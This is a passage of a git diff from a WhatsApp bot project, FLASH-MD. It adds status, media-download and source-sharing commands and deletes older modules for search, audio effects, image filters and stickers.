createQuotedContact(senderId) + }); + + const latency = (now() - start).toFixed(0); + await new Promise(res => setTimeout(res, 1000)); + + const uptime = Date.now() - global.botStartTime; + const formattedUptime = formatUptime(uptime); + const platform = detectPlatform(); + const ramUsage = (process.memoryUsage().rss / 1024 / 1024).toFixed(1); + + const finalText = `🟢 *FLASH-MD-V2 IS ONLINE* + +*⏱️ Uptime:* ${formattedUptime} +*🏓 Ping:* ${latency} ms +*🖥️ Platform:* ${platform} +*💾 RAM Usage:* ${ramUsage} MB + +_Type *!help* to view all available commands._`; + + await king.sendMessage(fromJid, { + text: finalText, + contextInfo: { + forwardingScore: 1, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363238139244263@newsletter', + newsletterName: 'FLASH-MD', + serverMessageId: -1 + } + } + }, { quoted: initialMsg }); } - - - - moment.tz.setDefault('Africa/Nairobi'); - -// Créer une date et une heure en EAT -const temps = moment().format('HH:mm:ss'); -const date = moment().format('DD/MM/YYYY'); - - const alivemsg = ` -*Owner* : ${s.OWNER_NAME} -*Mode* : ${mode} -*Date* : ${date} -*Time* : ${temps} - - ${message} - - - *FLASH-MD by France King is alive*` - - if (lien.match(/\.(mp4|gif)$/i)) { - try { - zk.sendMessage(dest, { video: { url: lien }, caption: alivemsg }, { quoted: ms }); - } - catch (e) { - console.log("🥵🥵 Menu erreur " + e); - repondre("🥵🥵 Menu erreur " + e); } -} -// Checking for .jpeg or .png -else if (lien.match(/\.(jpeg|png|jpg)$/i)) { - try { - zk.sendMessage(dest, { image: { url: lien }, caption: alivemsg }, { quoted: ms }); - } - catch (e) { - console.log("🥵🥵 Menu erreur " + e); - repondre("🥵🥵 Menu erreur " + e); - } -} -else { - - repondre(alivemsg); - -} - - } else { - if(!superUser) { repondre("there is no alive for this bot") ; return}; - - await repondre("You have not yet saved your alive, to do this; enter after alive your message and your image or video link in this context: .alive message;lien"); - repondre("don't do fake things :)") - } - } else { - - if(!superUser) { repondre ("Only the owner can modify the alive") ; return}; - - - const texte = arg.join(' ').split(';')[0]; - const tlien = arg.join(' ').split(';')[1]; - - - -await addOrUpdateDataInAlive(texte , tlien) - -repondre('message alive refresh successfully') - -} - }); +]; diff --git a/commands/Alldl.js b/commands/Alldl.js new file mode 100644 index 00000000..8b9a2fed --- /dev/null +++ b/commands/Alldl.js @@ -0,0 +1,61 @@ +const axios = require('axios'); +const { franceking } = require('../main'); + +const BASE_URL = 'https://www.noobs-api.rf.gd'; + +module.exports = { + name: 'alldl', + get flashOnly() { + return franceking(); + }, + aliases: ['alldown', 'dl', 'download'], + description: 'Download media from various social platforms.', + category: 'Download', + + execute: async (king, msg, args, jid) => { + if (!args || args.length === 0) { + return await king.sendMessage(jid, { text: '🔗 *Please provide a URL to download from.*' }, { quoted: msg }); + } + + const url = args.join(' '); + + try { + const response = await axios.get(`${BASE_URL}/dipto/alldl?url=${encodeURIComponent(url)}`); + const data = response.data; + + if (data.result) { + const isImage = data.result.endsWith('.jpg') || data.result.endsWith('.png'); + const caption = `*FLASH-MD V2*\n🔗 Downloaded from: ${url}`; + + const messageContent = { + caption, + contextInfo: { + externalAdReply: { + title: "FLASH-MD V2 - Media Downloader", + body: "Fast & Reliable Downloader", + mediaType: 1, + thumbnailUrl: data.imageUrl || '', + sourceUrl: url, + renderLargerThumbnail: false, + showAdAttribution: true + } + } + }; + + if (isImage) { + messageContent.image = { url: data.result }; + } else { + messageContent.video = { url: data.result }; + } + + await king.sendMessage(jid, messageContent, { quoted: msg }); + await king.sendMessage(jid, { text: '✅ *Download complete!*' }, { quoted: msg }); + } else { + await king.sendMessage(jid, { text: '❌ No media found or invalid URL.' }, { quoted: msg }); + } + } catch (error) { + console.error('[ALLDL ERROR]', error); + await king.sendMessage(jid, { text: '⚠️ An error occurred while processing your request.' }, { quoted: msg }); + } + } +}; diff --git a/commands/Anime.js b/commands/Anime.js deleted file mode 100644 index 8f653c33..00000000 --- a/commands/Anime.js +++ /dev/null @@ -1,185 +0,0 @@ - - - - -/** - -🇫‌🇱‌🇦‌🇸‌🇭‌-🇲‌🇩‌ - - 𝗖𝗼𝗽𝘆𝗿𝗶𝗴𝗵𝘁 (𝗖) 2024. - 𝗟𝗶𝗰𝗲𝗻𝘀𝗲𝗱 𝘂𝗻𝗱𝗲𝗿 𝘁𝗵𝗲 𝗠𝗜𝗧 𝗟𝗶𝗰𝗲𝗻𝘀𝗲; - 𝗬𝗼𝘂 𝗺𝗮𝘆 𝗻𝗼𝘁 𝘂𝘀𝗲 𝘁𝗵𝗶𝘀 𝗳𝗶𝗹𝗲 𝗲𝘅𝗰𝗲𝗽𝘁 𝗶𝗻 𝗰𝗼𝗺𝗽𝗹𝗶𝗮𝗻𝗰𝗲 𝘄𝗶𝘁𝗵 𝘁𝗵𝗲 𝗟𝗶𝗰𝗲𝗻𝘀𝗲. - 𝗜𝘁 𝗶𝘀 𝘀𝘂𝗽𝗽𝗹𝗶𝗲𝗱 𝗶𝗻 𝘁𝗵𝗲 𝗵𝗼𝗽𝗲 𝘁𝗵𝗮𝘁 𝗶𝘁 𝗺𝗮𝘆 𝗯𝗲 𝘂𝘀𝗲𝗳𝘂𝗹. - * @𝗽𝗿𝗼𝗷𝗲𝗰𝘁_𝗻𝗮𝗺𝗲 : 𝗙𝗹𝗮𝘀𝗵 𝗠𝗗, 𝗮 𝘀𝗶𝗺𝗽𝗹𝗲 𝗮𝗻𝗱 𝗲𝗮𝘀𝘆 𝗪𝗵𝗮𝘁𝘀𝗔𝗽𝗽 𝘂𝘀𝗲𝗿 𝗯𝗼𝘁 - * @𝗼𝘄𝗻𝗲𝗿: 𝗙𝗿𝗮𝗻𝗰𝗲 𝗞𝗶𝗻𝗴 - - **/ - - - - - -const axios = require("axios"); -const {france} = require("../framework/france"); -const traduire = require("../framework/traduction"); -const {Sticker ,StickerTypes}= require('wa-sticker-formatter'); - -france({ - nomCom: "ranime", - categorie: "Fun", - reaction: "📺" -}, -async (origineMessage, zk, commandeOptions) => { - const { repondre, ms } = commandeOptions; - - const jsonURL = "https://api.jikan.moe/v4/random/anime"; // Remplacez par votre URL JSON - - try { - const response = await axios.get(jsonURL); - const data = response.data.data; - - const title = data.title; - const synopsis = data.synopsis; - const imageUrl = data.images.jpg.image_url; // Utilisez l'URL de l'image JPG - const episodes = data.episodes; - const status = data.status; - - //const texttraduit = await traduire(synopsis,{ to: 'fr' }) - - const message = `📺 Titre: ${title}\n🎬 Épisodes: ${episodes}\n📡 Statut: ${status}\n📝 Synopsis: ${synopsis}\n🔗 URL: ${data.url}`; - - // Envoyer l'image et les informations - zk.sendMessage(origineMessage, { image: { url: imageUrl }, caption: message }, { quoted: ms }); - } catch (error) { - console.error('Error retrieving data from JSON :', error); - repondre('Error retrieving data from JSON.'); - } -}); - -france({ - nomCom: "google", - categorie: "Search" -}, async (dest, zk, commandeOptions) => { - const { arg, repondre } = commandeOptions; - - if (!arg[0] || arg === "") { - repondre("Give me a query.\n*Example: .google What is a bot.*"); - return; - } - - const google = require('google-it'); - try { - const results = await google({ query: arg.join(" ") }); - let msg = `Google search for : ${arg}\n\n`; - - for (let result of results) { - msg += `➣ Title : ${result.title}\n`; - msg += `➣ Description : ${result.snippet}\n`; - msg += `➣ Link : ${result.link}\n\n────────────────────────\n\n`; - } - - // const trdmsg = await traduire(msg,{to : 'fr'}) - repondre(msg); - } catch (error) { - repondre("An error occurred during Google search."); - } -}); - -france({ - nomCom: "imdb", - categorie: "Search" -}, async (dest, zk, commandeOptions) => { - const { arg, repondre , ms } = commandeOptions; - - if (!arg[0] || arg === "") { - repondre("give the name of a series or film."); - return; - } - - try { - - const response = await axios.get(`http://www.omdbapi.com/?apikey=742b2d09&t=${arg}&plot=full`); - const imdbData = response.data; - - let imdbInfo = "⚍⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚍\n"; - imdbInfo += " ``` 𝕀𝕄𝔻𝔹 𝕊𝔼𝔸ℝℂℍ```\n"; - imdbInfo += "⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎\n"; - imdbInfo += "🎬Title : " + imdbData.Title + "\n"; - imdbInfo += "📅year : " + imdbData.Year + "\n"; - imdbInfo += "⭐Assessment : " + imdbData.Rated + "\n"; - imdbInfo += "📆Release : " + imdbData.Released + "\n"; - imdbInfo += "⏳Runtime : " + imdbData.Runtime + "\n"; - imdbInfo += "🌀Genre : " + imdbData.Genre + "\n"; - imdbInfo += "👨🏻‍💻Director : " + imdbData.Director + "\n"; - imdbInfo += "✍writers : " + imdbData.Writer + "\n"; - imdbInfo += "👨actors : " + imdbData.Actors + "\n"; - imdbInfo += "📃Synopsis : " + imdbData.Plot + "\n"; - imdbInfo += "🌐Language : " + imdbData.Language + "\n"; - imdbInfo += "🌍Contry : " + imdbData.Country + "\n"; - imdbInfo += "🎖️Awards : " + imdbData.Awards + "\n"; - imdbInfo += "📦BoxOffice : " + imdbData.BoxOffice + "\n"; - imdbInfo += "🏙️Production : " + imdbData.Production + "\n"; - imdbInfo += "🌟score : " + imdbData.imdbRating + "\n"; - imdbInfo += "❎imdbVotes : " + imdbData.imdbVotes + ""; - - zk.sendMessage(dest, { - image: { - url: imdbData.Poster, - }, - caption: imdbInfo, - }, { - quoted: ms, - }); - } catch (error) { - repondre("An error occurred while searching IMDb."); - } -}); - - -france({ - nomCom: "emomix", - categorie: "Conversion" -}, async (dest, zk, commandeOptions) => { - const { arg, repondre,ms , nomAuteurMessage } = commandeOptions; - - if (!arg[0] || arg.length !== 1) { - repondre("Incorrect use. Example: .emojimix 😀;🥰"); - return; - } - - // Divisez la chaîne en deux emojis en utilisant le point-virgule comme séparateur - const emojis = arg.join(' ').split(';'); - - if (emojis.length !== 2) { - repondre("Please specify two emojis using a ';' as a separator."); - return; - } - - const emoji1 = emojis[0].trim(); - const emoji2 = emojis[1].trim(); - - try { - const axios = require('axios'); - const response = await axios.get(`https://levanter.onrender.com/emix?q=${emoji1}${emoji2}`); - - if (response.data.status === true) { - // Si la requête a réussi, envoyez l'image résultante - - let stickerMess = new Sticker(response.data.result, { - pack: FLASH-MD, - type: StickerTypes.CROPPED, - categories: ["🤩", "🎉"], - id: "12345", - quality: 70, - background: "transparent", - }); - const stickerBuffer2 = await stickerMess.toBuffer(); - zk.sendMessage(dest, { sticker: stickerBuffer2 }, { quoted: ms }); - - } else { - repondre("Unable to create emoji mix."); - } - } catch (error) { - repondre("An error occurred while creating the emoji mix." + error ); - } -}); diff --git a/commands/Audios.js b/commands/Audios.js deleted file mode 100644 index 1473d324..00000000 --- a/commands/Audios.js +++ /dev/null @@ -1,300 +0,0 @@ - - -/** - -🇫‌🇱‌🇦‌🇸‌🇭‌-🇲‌🇩‌ - - 𝗖𝗼𝗽𝘆𝗿𝗶𝗴𝗵𝘁 (𝗖) 2024. - 𝗟𝗶𝗰𝗲𝗻𝘀𝗲𝗱 𝘂𝗻𝗱𝗲𝗿 𝘁𝗵𝗲 𝗠𝗜𝗧 𝗟𝗶𝗰𝗲𝗻𝘀𝗲; - 𝗬𝗼𝘂 𝗺𝗮𝘆 𝗻𝗼𝘁 𝘂𝘀𝗲 𝘁𝗵𝗶𝘀 𝗳𝗶𝗹𝗲 𝗲𝘅𝗰𝗲𝗽𝘁 𝗶𝗻 𝗰𝗼𝗺𝗽𝗹𝗶𝗮𝗻𝗰𝗲 𝘄𝗶𝘁𝗵 𝘁𝗵𝗲 𝗟𝗶𝗰𝗲𝗻𝘀𝗲. - 𝗜𝘁 𝗶𝘀 𝘀𝘂𝗽𝗽𝗹𝗶𝗲𝗱 𝗶𝗻 𝘁𝗵𝗲 𝗵𝗼𝗽𝗲 𝘁𝗵𝗮𝘁 𝗶𝘁 𝗺𝗮𝘆 𝗯𝗲 𝘂𝘀𝗲𝗳𝘂𝗹. - * @𝗽𝗿𝗼𝗷𝗲𝗰𝘁_𝗻𝗮𝗺𝗲 : 𝗙𝗹𝗮𝘀𝗵 𝗠𝗗, 𝗮 𝘀𝗶𝗺𝗽𝗹𝗲 𝗮𝗻𝗱 𝗲𝗮𝘀𝘆 𝗪𝗵𝗮𝘁𝘀𝗔𝗽𝗽 𝘂𝘀𝗲𝗿 𝗯𝗼𝘁 - * @𝗼𝘄𝗻𝗲𝗿: 𝗙𝗿𝗮𝗻𝗰𝗲 𝗞𝗶𝗻𝗴 - - **/ - - - - - - -const {france} = require('../framework/france'); -const fs = require("fs"); -const { exec } = require("child_process"); - - -const filename = `${Math.random().toString(36)}`; - -france ( - { - nomCom : 'deep', - categorie : 'Audio-Edit', - - }, async (dest , zk, commandeOptions) => { - const {ms , repondre,msgRepondu} = commandeOptions; - - if (msgRepondu) { - if(msgRepondu.audioMessage) { - - const media = await zk.downloadAndSaveMediaMessage(msgRepondu.audioMessage) - - let set = "-af atempo=4/4,asetrate=44500*2/3"; - let ran = `${filename}.mp3`; - - try { - exec(`ffmpeg -i ${media} ${set} ${ran}`, (err, stderr, stdout) => { - fs.unlinkSync(media); - if (err) return repondre("error during the procedure " + err ); - - let buff1 = fs.readFileSync(ran); - - zk.sendMessage( - dest, - { audio: buff1, mimetype: "audio/mpeg" }, - { quoted: ms } - ); - fs.unlinkSync(ran); - }); - } catch (e) { - - repondre("error"); - } - - } else { - repondre('the command only works with audio messages') - } - - } else { - repondre('Please mention an audio') - } - } -); - -france ( - { - nomCom : 'bass', - categorie : 'Audio-Edit', - - }, async (dest , zk, commandeOptions) => { - const {ms , repondre,msgRepondu} = commandeOptions; - - if (msgRepondu) { - if(msgRepondu.audioMessage) { - - const media2 = await zk.downloadAndSaveMediaMessage(msgRepondu.audioMessage) - - let set2 = "-af equalizer=f=18:width_type=o:width=2:g=14"; - let ran2 = `${filename}.mp3`; - - try { - exec(`ffmpeg -i ${media2} ${set2} ${ran2}`, (err, stderr, stdout) => { - fs.unlinkSync(media2); - if (err) return repondre("error during the procedure " + err ); - - let buff2 = fs.readFileSync(ran2); - - zk.sendMessage( - dest, - { audio: buff2, mimetype: "audio/mpeg" }, - { quoted: ms } - ); - fs.unlinkSync(ran2); - }); - } catch (e) { - - repondre("error"); - } - - } else { - repondre('the command only works with audio messages') - } - - } else { - repondre('Please mention an audio') - } - } -); - -france( - { - nomCom: 'reverse', - categorie: 'Audio-Edit', - }, - async (dest, zk, commandeOptions) => { - const { ms, repondre, msgRepondu } = commandeOptions; - - if (msgRepondu) { - if (msgRepondu.audioMessage) { - const media3 = await zk.downloadAndSaveMediaMessage(msgRepondu.audioMessage); - let set3 = '-filter_complex "areverse"'; - let ran3 = `${filename}.mp3`; - - try { - exec(`ffmpeg -i ${media3} ${set3} ${ran3}`, (err, stderr, stdout) => { - fs.unlinkSync(media3); - if (err) return repondre("error during the procedure" + err); - - let buff3 = fs.readFileSync(ran3); - - zk.sendMessage(dest, { audio: buff3, mimetype: "audio/mpeg" }, { quoted: ms }); - fs.unlinkSync(ran3); - }); - } catch (e) { - repondre("Error : " + e); - } - } else { - repondre("The command only works with audio messages"); - } - } else { - repondre("Please mention an audio"); - } - } - ); - - france( - { - nomCom: 'slow', - categorie: 'Audio-Edit', - }, - async (dest, zk, commandeOptions) => { - const { ms, repondre, msgRepondu } = commandeOptions; - - if (msgRepondu) { - if (msgRepondu.audioMessage) { - const media5 = await zk.downloadAndSaveMediaMessage(msgRepondu.audioMessage); - let set5 = '-filter:a "atempo=0.8,asetrate=44100"'; - let ran5 = `${filename}.mp3`; - - try { - exec(`ffmpeg -i ${media5} ${set5} ${ran5}`, (err, stderr, stdout) => { - fs.unlinkSync(media5); - if (err) return repondre("error during the procedure" + err); - - let buff5 = fs.readFileSync(ran5); - - zk.sendMessage(dest, { audio: buff5, mimetype: "audio/mpeg" }, { quoted: ms }); - fs.unlinkSync(ran5); - }); - } catch (e) { - repondre("Error : " + e); - } - } else { - repondre("The command only works with audio messages"); - } - } else { - repondre("Please mention an audio"); - } - } - ); - -// Cas pour l'effet "smooth" -france( - { - nomCom: 'smooth', - categorie: 'Audio-Edit', - }, - async (dest, zk, commandeOptions) => { - const { ms, repondre, msgRepondu } = commandeOptions; - - if (msgRepondu) { - if (msgRepondu.audioMessage) { - const mediaSmooth = await zk.downloadAndSaveMediaMessage(msgRepondu.audioMessage); - let setSmooth = '-filter:v "minterpolate=\'mi_mode=mci:mc_mode=aobmc:vsbmc=1:fps=120\'"'; - let ranSmooth = `${filename}.mp3`; - - try { - exec(`ffmpeg -i ${mediaSmooth} ${setSmooth} ${ranSmooth}`, (err, stderr, stdout) => { - fs.unlinkSync(mediaSmooth); - if (err) return repondre("error during the procedure" + err); - - let buff6 = fs.readFileSync(ranSmooth); - - zk.sendMessage(dest, { audio: buff6, mimetype: "audio/mpeg" }, { quoted: ms }); - fs.unlinkSync(ranSmooth); - }); - } catch (e) { - repondre("Error : " + e); - } - } else { - repondre("The command only works with audio messages"); - } - } else { - repondre("Please mention an audio"); - } - } - ); - - // Cas pour l'effet "tempo" - france( - { - nomCom: 'tempo', - categorie: 'Audio-Edit', - }, - async (dest, zk, commandeOptions) => { - const { ms, repondre, msgRepondu } = commandeOptions; - - if (msgRepondu) { - if (msgRepondu.audioMessage) { - const mediaTempo = await zk.downloadAndSaveMediaMessage(msgRepondu.audioMessage); - let setTempo = '-filter:a "atempo=0.9,asetrate=65100"'; - let ranTempo = `${filename}.mp3`; - - try { - exec(`ffmpeg -i ${mediaTempo} ${setTempo} ${ranTempo}`, (err, stderr, stdout) => { - fs.unlinkSync(mediaTempo); - if (err) return repondre("error during the procedure " + err); - - let buff7 = fs.readFileSync(ranTempo); - - zk.sendMessage(dest, { audio: buff7, mimetype: "audio/mpeg" }, { quoted: ms }); - fs.unlinkSync(ranTempo); - }); - } catch (e) { - repondre("Error : " + e); - } - } else { - repondre("The command only works with audio messages"); - } - } else { - repondre("Please mention an audio"); - } - } - ); - - // Cas pour l'effet "nightcore" - france( - { - nomCom: 'nightcore', - categorie: 'Audio-Edit', - }, - async (dest, zk, commandeOptions) => { - const { ms, repondre, msgRepondu } = commandeOptions; - - if (msgRepondu) { - if (msgRepondu.audioMessage) { - const mediaNightcore = await zk.downloadAndSaveMediaMessage(msgRepondu.audioMessage); - let setNightcore = '-filter:a "atempo=1.07,asetrate=44100*1.20"'; - let ranNightcore = `${filename}.mp3`; - - try { - exec(`ffmpeg -i ${mediaNightcore} ${setNightcore} ${ranNightcore}`, (err, stderr, stdout) => { - fs.unlinkSync(mediaNightcore); - if (err) return repondre("error during the procedure " + err); - - let buff8 = fs.readFileSync(ranNightcore); - - zk.sendMessage(dest, { audio: buff8, mimetype: "audio/mpeg" }, { quoted: ms }); - fs.unlinkSync(ranNightcore); - }); - } catch (e) { - repondre("Erreur : " + e); - } - } else { - repondre("The command only works with audio messages"); - } - } else { - repondre("Please mention an audio"); - } - } - ); - diff --git a/commands/Canvacord.js b/commands/Canvacord.js deleted file mode 100644 index 5d6699e5..00000000 --- a/commands/Canvacord.js +++ /dev/null @@ -1,87 +0,0 @@ -/** - -🇫‌🇱‌🇦‌🇸‌🇭‌-🇲‌🇩‌ - - 𝗖𝗼𝗽𝘆𝗿𝗶𝗴𝗵𝘁 (𝗖) 2024. - 𝗟𝗶𝗰𝗲𝗻𝘀𝗲𝗱 𝘂𝗻𝗱𝗲𝗿 𝘁𝗵𝗲 𝗠𝗜𝗧 𝗟𝗶𝗰𝗲𝗻𝘀𝗲; - 𝗬𝗼𝘂 𝗺𝗮𝘆 𝗻𝗼𝘁 𝘂𝘀𝗲 𝘁𝗵𝗶𝘀 𝗳𝗶𝗹𝗲 𝗲𝘅𝗰𝗲𝗽𝘁 𝗶𝗻 𝗰𝗼𝗺𝗽𝗹𝗶𝗮𝗻𝗰𝗲 𝘄𝗶𝘁𝗵 𝘁𝗵𝗲 𝗟𝗶𝗰𝗲𝗻𝘀𝗲. - 𝗜𝘁 𝗶𝘀 𝘀𝘂𝗽𝗽𝗹𝗶𝗲𝗱 𝗶𝗻 𝘁𝗵𝗲 𝗵𝗼𝗽𝗲 𝘁𝗵𝗮𝘁 𝗶𝘁 𝗺𝗮𝘆 𝗯𝗲 𝘂𝘀𝗲𝗳𝘂𝗹. - * @𝗽𝗿𝗼𝗷𝗲𝗰𝘁_𝗻𝗮𝗺𝗲 : 𝗙𝗹𝗮𝘀𝗵 𝗠𝗗, 𝗮 𝘀𝗶𝗺𝗽𝗹𝗲 𝗮𝗻𝗱 𝗲𝗮𝘀𝘆 𝗪𝗵𝗮𝘁𝘀𝗔𝗽𝗽 𝘂𝘀𝗲𝗿 𝗯𝗼𝘁 - * @𝗼𝘄𝗻𝗲𝗿: 𝗙𝗿𝗮𝗻𝗰𝗲 𝗞𝗶𝗻𝗴 - - **/ - - - - - -const { france } = require("../framework/france"); -const canvacord = require("canvacord"); -const {uploadImageToImgur} = require("../framework/imgur") - -// Generic function to create a canvacord order -function createCanvacordCommand(commandName, canvacordFunction) { - france({ - nomCom: commandName, - categorie: "Image-Edit", - reaction: "🎉" - }, async (origineMessage, zk, commandeOptions) => { - const { ms, msgRepondu, auteurMsgRepondu } = commandeOptions; - const clientId = 'b40a1820d63cd4e' ; - - try { - let img; - if (msgRepondu) { - - if (msgRepondu.imageMessage) { - const image = await zk.downloadAndSaveMediaMessage(msgRepondu.imageMessage) - img = await uploadImageToImgur(image, clientId ) - } else { - - img = await zk.profilePictureUrl(auteurMsgRepondu, 'image'); } - } else { - img = "https://i.pinimg.com/564x/84/09/12/840912dd744e6662ab211b8070b5d84c.jpg"; - } - - const result = await canvacordFunction(img); - - await zk.sendMessage(origineMessage, { image: result }, { quoted: ms }); - } catch (error) { - console.error(`Error when ordering "${commandName}":`, error); - } - }); -} - -// Créer des commandes avec différentes fonctions canvacord -createCanvacordCommand("shit", canvacord.Canvacord.shit); -createCanvacordCommand("wasted", canvacord.Canvacord.wasted); -createCanvacordCommand("wanted", canvacord.Canvacord.wanted); -createCanvacordCommand("trigger", canvacord.Canvacord.trigger); -createCanvacordCommand("trash", canvacord.Canvacord.trash); -createCanvacordCommand("rip", canvacord.Canvacord.rip); -createCanvacordCommand("sepia", canvacord.Canvacord.sepia); -createCanvacordCommand("rainbow", canvacord.Canvacord.rainbow); -createCanvacordCommand("hitler", canvacord.Canvacord.hitler); -createCanvacordCommand("invert", canvacord.Canvacord.invert); -createCanvacordCommand("jail", canvacord.Canvacord.jail); -createCanvacordCommand("affect", canvacord.Canvacord.affect); - createCanvacordCommand("beautiful", canvacord.Canvacord.beautiful); - createCanvacordCommand("blur", canvacord.Canvacord.blur); - - createCanvacordCommand("circle", canvacord.Canvacord.circle); - createCanvacordCommand("facepalm", canvacord.Canvacord.facepalm); - createCanvacordCommand("greyscale", canvacord.Canvacord.greyscale); - createCanvacordCommand("joke", canvacord.Canvacord.jokeOverHead); - - - - - - - - - - - - - diff --git a/commands/Codes.js b/commands/Codes.js new file mode 100644 index 00000000..9ae4f5cb --- /dev/null +++ b/commands/Codes.js @@ -0,0 +1,55 @@ +const fs = require('fs'); +const path = require('path'); +const { franceking } = require('../main'); + +module.exports = [ + { + name: 'cmd', + aliases: ['getcode'], + get flashOnly() { + return franceking(); + }, + description: 'Sends the JavaScript file where a command is defined.', + category: 'User', + ownerOnly: true, + execute: async (king, msg, args) => { + const fromJid = msg.key.remoteJid; + const commandName = args[0]; + + if (!commandName) { + return king.sendMessage(fromJid, { text: '❗ Usage: cmd ' }, { quoted: msg }); + } + + const commandsDir = __dirname; + const files = fs.readdirSync(commandsDir).filter(file => file.endsWith('.js')); + let foundFile = null; + + for (const file of files) { + const filePath = path.join(commandsDir, file); + const fileContent = fs.readFileSync(filePath, 'utf-8'); + + + const regex = new RegExp(`name\\s*:\\s*['"\`]${commandName}['"\`]`, 'i'); + if (regex.test(fileContent)) { + foundFile = filePath; + break; + } + } + + if (!foundFile) { + return king.sendMessage(fromJid, { text: `❌ Command *${commandName}* not found.` }, { quoted: msg }); + } + + + try { + await king.sendMessage(fromJid, { + document: fs.readFileSync(foundFile), + fileName: path.basename(foundFile), + mimetype: 'application/javascript' + }, { quoted: msg }); + } catch (err) { + await king.sendMessage(fromJid, { text: `❌ Error: ${err.message}` }, { quoted: msg }); + } + } + } +]; diff --git a/commands/Conversion.js b/commands/Conversion.js deleted file mode 100644 index 56d892d3..00000000 --- a/commands/Conversion.js +++ /dev/null @@ -1,378 +0,0 @@ -const { Sticker, createSticker, StickerTypes } = require('wa-sticker-formatter'); -const { france } = require("../framework/france"); -const traduire = require("../framework/traduction"); -const { downloadMediaMessage,downloadContentFromMessage } = require('@whiskeysockets/baileys'); -const fs =require("fs-extra") ; -const axios = require('axios'); -const FormData = require('form-data'); -const { exec } = require("child_process"); - - - -async function uploadToTelegraph(Path) { - if (!fs.existsSync(Path)) { - throw new Error("Fichier non existant"); - } - - try { - const form = new FormData(); - form.append("file", fs.createReadStream(Path)); - - const { data } = await axios.post("https://telegra.ph/upload", form, { - headers: { - ...form.getHeaders(), - }, - }); - - if (data && data[0] && data[0].src) { - return "https://telegra.ph" + data[0].src; - } else { - throw new Error("Erreur lors de la récupération du lien de la vidéo"); - } - } catch (err) { - throw new Error(String(err)); - } -} - - - -france({nomCom:"sticker",categorie: "Conversion", reaction: "👨🏿‍💻"},async(origineMessage,zk,commandeOptions)=>{ - -let {ms,mtype,arg,repondre,nomAuteurMessage}=commandeOptions - var txt=JSON.stringify(ms.message) - - var mime=mtype === "imageMessage" || mtype === "videoMessage"; - var tagImage = mtype==="extendedTextMessage" && txt.includes("imageMessage") - var tagVideo = mtype==="extendedTextMessage" && txt.includes("videoMessage") - -const alea = (ext) => { - return `${Math.floor(Math.random() * 10000)}${ext}`;}; - - - const stickerFileName = alea(".webp"); - - - // image - if (mtype === "imageMessage" ||tagImage) { - let downloadFilePath; - if (ms.message.imageMessage) { - downloadFilePath = ms.message.imageMessage; - } else { - // picture mentioned - downloadFilePath = - ms.message.extendedTextMessage.contextInfo.quotedMessage.imageMessage; - } - // picture - const media = await downloadContentFromMessage(downloadFilePath, "image"); - let buffer = Buffer.from([]); - for await (const elm of media) { - buffer = Buffer.concat([buffer, elm]); - } - - sticker = new Sticker(buffer, { - pack:"FLASH-MD", - author: nomAuteurMessage, - type: - arg.includes("crop") || arg.includes("c") - ? StickerTypes.CROPPED - : StickerTypes.FULL, - quality: 100, - }); - } else if (mtype === "videoMessage" || tagVideo) { - // videos - let downloadFilePath; - if (ms.message.videoMessage) { - downloadFilePath = ms.message.videoMessage; - } else { - downloadFilePath = - ms.message.extendedTextMessage.contextInfo.quotedMessage.videoMessage; - } - const stream = await downloadContentFromMessage(downloadFilePath, "video"); - let buffer = Buffer.from([]); - for await (const elm of stream) { - buffer = Buffer.concat([buffer, elm]); - } - - sticker = new Sticker(buffer, { - pack:"FLASH-MD", // pack stick - author: nomAuteurMessage, // name of the author of the stick - type: - arg.includes("-r") || arg.includes("-c") - ? StickerTypes.CROPPED - : StickerTypes.FULL, - quality: 40, - }); - } else { - repondre("Please mention an image or video!"); - return; - } - - await sticker.toFile(stickerFileName); - await zk.sendMessage( - origineMessage, - { - sticker: fs.readFileSync(stickerFileName), - }, - { quoted: ms } - ); - -try{ - fs.unlinkSync(stickerFileName) -}catch(e){console.log(e)} - - - - - - -}); - -france({nomCom:"scrop",categorie: "Conversion", reaction: "👨🏿‍💻"},async(origineMessage,zk,commandeOptions)=>{ - const {ms , msgRepondu,arg,repondre,nomAuteurMessage} = commandeOptions ; - - if(!msgRepondu) { repondre( 'make sure to mention the media' ) ; return } ; - if(!(arg[0])) { - pack = nomAuteurMessage - } else { - pack = arg.join(' ') - } ; - if (msgRepondu.imageMessage) { - mediamsg = msgRepondu.imageMessage - } else if(msgRepondu.videoMessage) { -mediamsg = msgRepondu.videoMessage - } - else if (msgRepondu.stickerMessage) { - mediamsg = msgRepondu.stickerMessage ; - } else { - repondre('Uh media please'); return - } ; - - var stick = await zk.downloadAndSaveMediaMessage(mediamsg) - - let stickerMess = new Sticker(stick, { - pack: 'Flash-Md', - - type: StickerTypes.CROPPED, - categories: ["🤩", "🎉"], - id: "12345", - quality: 70, - background: "transparent", - }); - const stickerBuffer2 = await stickerMess.toBuffer(); - zk.sendMessage(origineMessage, { sticker: stickerBuffer2 }, { quoted: ms }); - -}); - -france({nomCom:"take",categorie: "Conversion", reaction: "👨🏿‍💻"},async(origineMessage,zk,commandeOptions)=>{ - const {ms , msgRepondu,arg,repondre,nomAuteurMessage} = commandeOptions ; - - if(!msgRepondu) { repondre( 'make sure to mention the media' ) ; return } ; - if(!(arg[0])) { - pack = nomAuteurMessage - } else { - pack = arg.join(' ') - } ; - if (msgRepondu.imageMessage) { - mediamsg = msgRepondu.imageMessage - } else if(msgRepondu.videoMessage) { -mediamsg = msgRepondu.videoMessage - } - else if (msgRepondu.stickerMessage) { - mediamsg = msgRepondu.stickerMessage ; - } else { - repondre('Uh a media please'); return - } ; - - var stick = await zk.downloadAndSaveMediaMessage(mediamsg) - - let stickerMess = new Sticker(stick, { - pack: nomAuteurMessage, - - type: StickerTypes.FULL, - categories: ["🤩", "🎉"], - id: "12345", - quality: 70, - background: "transparent", - }); - const stickerBuffer2 = await stickerMess.toBuffer(); - zk.sendMessage(origineMessage, { sticker: stickerBuffer2 }, { quoted: ms }); - -}); - - - -france({ nomCom: "write", categorie: "Conversion", reaction: "👨🏿‍💻" }, async (origineMessage, zk, commandeOptions) => { - const { ms, msgRepondu, arg, repondre, nomAuteurMessage } = commandeOptions; - - if (!msgRepondu) { - repondre('Please mention an image'); - return; - } - - if (!msgRepondu.imageMessage) { - repondre('The command only works with images'); - return; - } ; - text = arg.join(' ') ; - - if(!text || text === null) {repondre('Make sure to insert text') ; return } ; - - - const mediamsg = 